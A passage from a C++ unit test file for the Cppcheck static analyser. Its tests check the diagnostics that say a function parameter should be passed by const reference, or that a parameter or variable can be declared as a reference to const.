ASSERT_EQUALS(\"[test.cpp:1:39]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::vector::size_type s) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::vector &v) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::map &v) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::map v) {}\");\n ASSERT_EQUALS(\"[test.cpp:1:32]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::map v) {}\");\n ASSERT_EQUALS(\"[test.cpp:1:48]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::map v) {}\");\n ASSERT_EQUALS(\"[test.cpp:1:40]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::map v) {}\");\n ASSERT_EQUALS(\"[test.cpp:1:40]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::streamoff pos) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::initializer_list i) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5824\n check(\"void log(const std::string& file, int line, const std::string& function, const std::string str, ...) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5534\n check(\"struct float3 { };\\n\"\n \"typedef float3 vec;\\n\"\n \"class Plane {\\n\"\n \" vec Refract(vec &vec) const;\\n\"\n \" bool IntersectLinePlane(const vec &planeNormal);\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class X {\\n\"\n \" virtual void func(const std::string str) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:2:41]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"enum X;\\n\"\n \"void foo(X x1){}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"enum X { a, b, c };\\n\"\n \"void foo(X x2){}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"enum X { a, b, c };\\n\"\n \"enum X;\"\n \"void foo(X x3){}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"enum X;\\n\"\n \"enum X { a, b, c };\"\n \"void foo(X x4){}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"union U {\\n\"\n \" char* pc;\\n\"\n \" short* ps;\\n\"\n \" int* pi;\\n\"\n \"};\\n\"\n \"void f(U u) {}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { char A[8][8]; };\\n\"\n \"void f(S s) {}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (performance) Function parameter 's' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"union U {\\n\" // don't crash\n \" int a;\\n\"\n \" decltype(nullptr) b;\\n\"\n \"};\\n\"\n \"int* f(U u) { return u.b; }\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct B { virtual int f(std::string s) = 0; };\\n\" // #11432\n \"struct D1 : B {\\n\"\n \" int f(std::string s) override { s += 'a'; return s.size(); }\\n\"\n \"}\\n\"\n \"struct D2 : B {\\n\"\n \" int f(std::string s) override { return s.size(); }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int x(int);\\n\"\n \"void f(std::vector v, int& j) {\\n\"\n \" for (int i : v)\\n\"\n \" j = i;\\n\"\n \"}\\n\"\n \"void fn(std::vector v) {\\n\"\n \" for (int& i : v)\\n\"\n \" i = x(i);\\n\"\n \"}\\n\"\n \"void g(std::vector v, int& j) {\\n\"\n \" for (int i = 0; i < v.size(); ++i)\\n\"\n \" j = v[i];\\n\"\n \"}\\n\"\n \"void gn(std::vector v) {\\n\"\n \" for (int i = 0; i < v.size(); ++i)\\n\"\n \" v[i] = x(i);\\n\"\n \"}\\n\"\n \"void h(std::vector> v, int& j) {\\n\"\n \" for (int i = 0; i < v.size(); ++i)\\n\"\n \" j = v[i][0];\\n\"\n \"}\\n\"\n \"void hn(std::vector> v) {\\n\"\n \" for (int i = 0; i < v.size(); ++i)\\n\"\n \" v[i][0] = x(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:25]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\"\n \"[test.cpp:10:25]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\"\n \"[test.cpp:18:38]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\",\n errout_str());\n\n check(\"struct S {\\n\" // #11995\n \" explicit S(std::string s) noexcept;\\n\"\n \" std::string m;\\n\"\n \"};\\n\"\n \"S::S(std::string s) noexcept : m(std::move(s)) {}\\n\"\n \"struct T {\\n\"\n \" explicit S(std::string s) noexcept(true);\\n\"\n \" std::string m;\\n\"\n \"};\\n\"\n \"T::T(std::string s) noexcept(true) : m(std::move(s)) {}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"namespace N {\\n\" // #12086\n \" void g(int);\\n\"\n \"}\\n\"\n \"void f(std::vector v) {\\n\"\n \" N::g(v[0]);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:25]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::string& s, std::string t) {\\n\" // #12083\n \" const std::string& v = !s.empty() ? s : t;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:42]: (performance) Function parameter 't' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n /*const*/ Settings settings0 = settingsBuilder(_settings).platform(Platform::Type::Unix64).build();\n check(\"struct S {\\n\" // #12138\n \" union {\\n\"\n \" int a = 0;\\n\"\n \" int x;\\n\"\n \" };\\n\"\n \" union {\\n\"\n \" int b = 0;\\n\"\n \" int y;\\n\"\n \" };\\n\"\n \" union {\\n\"\n \" int c = 0;\\n\"\n \" int z;\\n\"\n \" };\\n\"\n \"};\\n\"\n \"void f(S s) {\\n\"\n \" if (s.x > s.y) {}\\n\"\n \"}\\n\", /*cpp*/ true, /*inconclusive*/ true, /*runSimpleChecks*/ true, /*verbose*/ false, &settings0);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { std::list l; };\\n\" // #12147\n \"class C { public: std::list l; };\\n\"\n \"bool f(S s) {\\n\"\n \" return s.l.empty();\\n\"\n \"}\\n\"\n \"bool f(C c) {\\n\"\n \" return c.l.empty();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance) Function parameter 's' should be passed by const reference. [passedByValue]\\n\"\n \"[test.cpp:6:10]: (performance) Function parameter 'c' should be passed by const reference. [passedByValue]\\n\",\n errout_str());\n\n check(\"struct S { std::list a[1][1]; };\\n\"\n \"bool f(S s) {\\n\"\n \" return s.a[0][0].empty();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (performance) Function parameter 's' should be passed by const reference. [passedByValue]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" enum class E : std::uint8_t { E0 };\\n\"\n \" static void f(S::E e) {\\n\"\n \" if (e == S::E::E0) {}\\n\"\n \" }\\n\"\n \" char a[20];\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::vector v[2]);\\n\" // #13052\n \"void g(const std::vector v[2]);\\n\"\n \"void g(const std::vector v[2]) {}\\n\"\n \"int h(const std::array, 2> a) { return a[0][0]; }\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:45]: (performance) Function parameter 'a' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::array a[]) {}\\n\"); // #13524\n ASSERT_EQUALS(\"\", errout_str());\n\n /*const*/ Settings settings1 = settingsBuilder().platform(Platform::Type::Win64).build();\n check(\"using ui64 = unsigned __int64;\\n\"\n \"ui64 Test(ui64 one, ui64 two) { return one + two; }\\n\",\n /*cpp*/ true, /*inconclusive*/ true, /*runSimpleChecks*/ true, /*verbose*/ false, &settings1);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void passedByValue_nonConst() {\n check(\"void f(std::string str) {}\");\n ASSERT_EQUALS(\"[test.cpp:1:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" return str + x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" std::cout << str;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" std::cin >> str;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" std::string s2 = str;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" std::string& s2 = str;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\"\n \"[test.cpp:2:18]: (style) Variable 's2' can be declared as reference to const [constVariableReference]\\n\",\n errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" const std::string& s2 = str;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" str = \\\"\\\";\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" foo(str);\\n\" // It could be that foo takes str as non-const-reference\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const std::string& str);\\n\"\n \"void f(std::string str) {\\n\"\n \" foo(str);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void foo(std::string str);\\n\"\n \"void f(std::string str) {\\n\"\n \" foo(str);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void foo(std::string& str);\\n\"\n \"void f(std::string str) {\\n\"\n \" foo(str);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(std::string* str);\\n\"\n \"void f(std::string str) {\\n\"\n \" foo(&str);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int& i1, const std::string& str, int& i2);\\n\"\n \"void f(std::string str) {\\n\"\n \" foo((a+b)*c, str, x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"std::string f(std::string str) {\\n\"\n \" str += x;\\n\"\n \" return str;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class X {\\n\"\n \" std::string s;\\n\"\n \" void func() const;\\n\"\n \"};\\n\"\n \"Y f(X x) {\\n\"\n \" x.func();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:7]: (performance) Function parameter 'x' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"class X {\\n\"\n \" void func();\\n\"\n \"};\\n\"\n \"Y f(X x) {\\n\"\n \" x.func();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class X {\\n\"\n \" void func(std::string str) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:2:27]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"class X {\\n\"\n \" virtual void func(std::string str) {}\\n\" // Do not warn about virtual functions, if 'str' is not declared as const\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class X {\\n\"\n \" char a[1024];\\n\"\n \"};\\n\"\n \"class Y : X {\\n\"\n \" char b;\\n\"\n \"};\\n\"\n \"void f(Y y) {\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:10]: (performance) Function parameter 'y' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"class X {\\n\"\n \" void* a;\\n\"\n \" void* b;\\n\"\n \"};\\n\"\n \"class Y {\\n\"\n \" void* a;\\n\"\n \" void* b;\\n\"\n \" char c;\\n\"\n \"};\\n\"\n \"void f(X x, Y y) {\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:10:15]: (performance) Function parameter 'y' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n {\n // 8-byte data should be passed by const reference on 32-bit platform but not on 64-bit platform\n const char code[] = \"class X {\\n\"\n \" uint64_t a;\\n\"\n \" uint64_t b;\\n\"\n \"};\\n\"\n \"void f(X x) {}\";\n\n /*const*/ Settings s32 = settingsBuilder(_settings).platform(Platform::Type::Unix32).build();\n check(code, &s32);\n ASSERT_EQUALS(\"[test.cpp:5:10]: (performance) Function parameter 'x' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n /*const*/ Settings s64 = settingsBuilder(_settings).platform(Platform::Type::Unix64).build();\n check(code, &s64);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n check(\"Writer* getWriter();\\n\"\n \"\\n\"\n \"void foo(Buffer& buffer) {\\n\"\n \" getWriter()->operator<<(buffer);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void passedByValue_externC() {\n check(\"struct X { int a[5]; }; void f(X v) { }\");\n ASSERT_EQUALS(\"[test.cpp:1:34]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"extern \\\"C\\\" { struct X { int a[5]; }; void f(X v) { } }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct X { int a[5]; }; extern \\\"C\\\" void f(X v) { }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct X { int a[5]; }; void f(const X v);\");\n ASSERT_EQUALS(\"[test.cpp:1:40]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"extern \\\"C\\\" { struct X { int a[5]; }; void f(const X v); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct X { int a[5]; }; extern \\\"C\\\" void f(const X v) { }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void constVariable() {\n check(\"int f(std::vector x) {\\n\"\n \" int& i = x[0];\\n\"\n \" return i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:24]: (performance) Function parameter 'x' should be passed by const reference. [passedByValue]\\n\"\n \"[test.cpp:2:10]: (style) Variable 'i' can be declared as reference to const [constVariableReference]\\n\",\n errout_str());\n\n check(\"int f(std::vector& x) {\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:25]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"int f(std::vector x) {\\n\"\n \" const int& i = x[0];\\n\"\n \" return i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:24]: (performance) Function parameter 'x' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"int f(std::vector x) {\\n\"\n \" static int& i = x[0];\\n\"\n \" return i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:24]: (performance) Function parameter 'x' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"int f(std::vector x) {\\n\"\n \" int& i = x[0];\\n\"\n \" i++;\\n\"\n \" return i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int& f(std::vector& x) {\\n\"\n \" x.push_back(1);\\n\"\n \" int& i = x[0];\\n\"\n \" return i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(const std::vector& x) {\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int& f(std::vector& x) {\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"const int& f(std::vector& x) {\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:32]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"int f(std::vector& x) {\\n\"\n \" x[0]++;\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { int a; };\\n\"\n \"A f(std::vector& x) {\\n\"\n \" x[0].a = 1;\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { int a(); };\\n\"\n \"A f(std::vector& x) {\\n\"\n \" x[0].a();\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int g(int& x);\\n\"\n \"int f(std::vector& x) {\\n\"\n \" g(x[0]);\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template\\n\"\n \"T f(T& x) {\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template\\n\"\n \"T f(T&& x) {\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template\\n\"\n \"T f(T& x) {\\n\"\n \" return x[0];\\n\"\n \"}\\n\"\n \"void h() { std::vector v; h(v); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int& x) {\\n\"\n \" return std::move(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::ostream& os) {\\n\"\n \" os << \\\"Hello\\\";\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int*);\\n\"\n \"void f(int& x) {\\n\"\n \" g(&x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { A(int*); };\\n\"\n \"A f(int& x) {\\n\"\n \" return A(&x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { A(int*); };\\n\"\n \"A f(int& x) {\\n\"\n \" return A{&x};\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int& x, int& y) {\\n\"\n \" y++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:13]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"struct A {\\n\"\n \" explicit A(int& y) : x(&y) {}\\n\"\n \" int * x = nullptr;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" std::vector v;\\n\"\n \" void swap(A& a) {\\n\"\n \" v.swap(a.v);\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" template\\n\"\n \" void f();\\n\"\n \" template\\n\"\n \" void f() const;\\n\"\n \"};\\n\"\n \"void g(A& a) {\\n\"\n \" a.f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" for(auto&& x:v)\\n\"\n \" x = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" for(auto x:v)\\n\"\n \" x = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:26]: (style) Parameter 'v' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" for(auto& x:v) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (style) Variable 'x' can be declared as reference to const [constVariableReference]\\n\",\n errout_str());\n\n check(\"void f(std::vector& v) {\\n\" // #10980\n \" for (int& i : v)\\n\"\n \" if (i == 0) {}\\n\"\n \" for (const int& i : v)\\n\"\n \" if (i == 0) {}\\n\"\n \" for (auto& i : v)\\n\"\n \" if (i == 0) {}\\n\"\n \" for (const auto& i : v)\\n\"\n \" if (i == 0) {}\\n\"\n \" v.clear();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (style) Variable 'i' can be declared as reference to const [constVariableReference]\\n\"\n \"[test.cpp:6:16]: (style) Variable 'i' can be declared as reference to const [constVariableReference]\\n\",\n errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" for(const auto& x:v) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:26]: (style) Parameter 'v' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"void f(int& i) {\\n\"\n \" int& j = i;\\n\"\n \" j++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" int& i = v[0];\\n\"\n \" i++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::map >& m, unsigned int i) {\\n\"\n \" std::map& members = m[i];\\n\"\n \" members.clear();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" int& x;\\n\"\n \" A(int& y) : x(y)\\n\"\n \" {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" A(int& x);\\n\"\n \"};\\n\"\n \"struct B : A {\\n\"\n \" B(int& x) : A(x)\\n\"\n \" {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b, int& x, int& y) {\\n\"\n \" auto& z = x;\\n\"\n \" auto& w = b ? y : z;\\n\"\n \" w = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"int& f(S& s) {\\n\"\n \" return s.i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int* f(std::list& x, unsigned int y) {\\n\"\n \" for (int& m : x) {\\n\"\n \" if (m == y)\\n\"\n \" return &m;\\n\"\n \" }\\n\"\n \" return nullptr;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int& f(std::list& x, int& y) {\\n\"\n \" for (int& m : x) {\\n\"\n \" if (m == y)\\n\"\n \" return m;\\n\"\n \" }\\n\"\n \" return y;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool from_string(int& t, const std::string& s) {\\n\"\n \" std::istringstream iss(s);\\n\"\n \" return !(iss >> t).fail();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9710\n check(\"class a {\\n\"\n \" void operator()(int& i) const {\\n\"\n \" i++;\\n\"\n \" }\\n\"\n \"};\\n\"\n \"void f(int& i) {\\n\"\n \" a()(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class a {\\n\"\n \" void operator()(int& i) const {\\n\"\n \" i++;\\n\"\n \" }\\n\"\n \"};\\n\"\n \"void f(int& i) {\\n\"\n \" a x;\\n\"\n \" x(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class a {\\n\"\n \" void operator()(const int& i) const;\\n\"\n \"};\\n\"\n \"void f(int& i) {\\n\"\n \" a x;\\n\"\n \" x(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'i' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n //cast or assignment to a non-const reference should prevent the warning\n check(\"struct T { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const T& z = x;\\n\" // Make sure we find all assignments\n \" T& y = x;\\n\"\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = x\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U& y = x;\\n\"\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" my::type& y = x;\\n\" // we don't know if y is const or not\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = static_cast(x);\\n\"\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U& y = static_cast(x);\\n\"\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = dynamic_cast(x)\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = dynamic_cast(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = dynamic_cast(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U& y = dynamic_cast(x);\\n\"\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = dynamic_cast(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U& y = dynamic_cast(x);\\n\"\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U* y = dynamic_cast(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U * y = dynamic_cast(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n TODO_ASSERT_EQUALS(\"can be const\", errout_str(), \"\"); //Currently taking the address is treated as a non-const operation when it should depend on what we do with it\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U const * y = dynamic_cast(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n TODO_ASSERT_EQUALS(\"can be const\", errout_str(), \"\"); //Currently taking the address is treated as a non-const operation when it should depend on what we do with it\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U const * const * const * const y = dynamic_cast(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U const * const * const * const y = dynamic_cast(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be 